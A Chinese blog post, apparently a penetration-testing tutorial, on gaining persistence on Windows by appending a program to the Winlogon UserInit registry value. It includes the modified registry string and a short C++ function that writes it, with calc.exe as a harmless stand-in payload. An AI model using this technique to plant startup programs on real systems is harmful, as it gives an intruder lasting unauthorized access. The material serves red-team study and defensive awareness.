美文网首页
[内网渗透][权限维持] userinit自启

[内网渗透][权限维持] userinit自启

作者: Rixo | 来源:发表于2022-06-24 22:59 被阅读0次

原理

windows启动时,会弹出需要用户输入用户名/密码的界面。当用户输入用户名和密码后,负责登录的系统进程 WinLogon 会将用户名和 密码发给负责安全认证的另一个系统进程 LSASS。LSASS 调用验证模块对用户名和密码进行验证,如果通过,则创建一个访问令牌对象。WinLogon 会启动HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 的 UserInit 表键下指定的程序(默认为 userinit.exe)。UserInit 进程执行登录和初始化脚本,然后启动 Shell 表键中定义的 Shell程序,默认即是 Explorer.exe。但是,注册表的键值支持多个进程,这就给了我们机会。

实操

  1. 默认键值如下


  2. 手动修改键值(Win10用其他进程测试,Win10的计算器不一样):
    C:\Windows\system32\userinit.exe,C:\Windows\System32\calc.exe
  3. 重启后可以看到计算器被打开了


C++代码实现

void AutoRun(){
    HKEY hKey = NULL;
    TCHAR *lpszSubKey = _T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon");
    LONG lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpszSubKey, 0, KEY_ALL_ACCESS, &hKey);
    if (lRet == ERROR_SUCCESS) {
        CString strPath = _T("C:\\\Windows\\system32\\userinit.exe,C:\\\Windows\\System32\\calc.exe");
        RegSetValueEx(hKey, _T("UserInit"), 0, REG_SZ, (LPBYTE)strPath.GetBuffer(), strPath.GetLength() * sizeof(TCHAR));
        RegCloseKey(hKey);
        }
}

注册表相关函数

RegQueryValueEx 键值的获取
RegSetValueEx 键值设置
RegDeleteValueA 键值删除
RegEnumValue 键值枚举
RegOpenKeyEx 注册表子键句柄
RegQueryInfoKey 注册表键的数量,长度等信息获取

相关文章

  • [内网渗透][权限维持] userinit自启

    原理 windows启动时,会弹出需要用户输入用户名/密码的界面。当用户输入用户名和密码后,负责登录的系统进程 W...

  • 内网渗透-域环境权限维持

    前言 在进入内网进行渗透横向过程中,有时候会遇到域环境。学习整理下域环境中权限维持相关的技术。本次实验环境:win...

  • CVE-2018-8174漏洞复现及内网渗透攻击

    博客 本文涉及的知识点: CVE-2018-8174漏洞复现、内网渗透、权限维持、脚本编程、痕迹清除、端口转发、利...

  • CVE-2018-8174漏洞复现及内网渗透攻击

    本文已在i春秋论坛发表 本文涉及的知识点: CVE-2018-8174漏洞复现、内网渗透、权限维持、脚本编程、痕迹...

  • Windows权限维持

    msf persistence模块 向目标主机的注册表添加键值,使后门程序开机自启 userinit注册表后门 U...

  • 记一次简单易上手的内网渗透实战

    我们大部分渗透操作都是从外网开始的,如果要获得更多的机器权限和维持权限,就必须掌握内获得更多的机器权限和维持权限,...

  • 后渗透之权限维持

    前言 在getshell后,往往因为内网渗透的需要不得不长时间对目标进行持续威胁(简称APT)。因此需要进行权限维...

  • 学习链接

    91Ri.org_我的安全攻防指南 网络安全 渗透技巧 跨站攻击 代码审计 权限提升 内网渗透 脚本漏洞 无线安全...

  • 内网渗透

    内网渗透

  • 更新frpc.service文件后使服务生效

    因为意外原因 Ubuntu 系统自启了,自启后发现内网穿透服务没有开启,查到是因为之前嫌 frpc 所在的默认文件...

网友评论

      本文标题:[内网渗透][权限维持] userinit自启

      本文链接:https://www.haomeiwen.com/subject/qwmbvrtx.html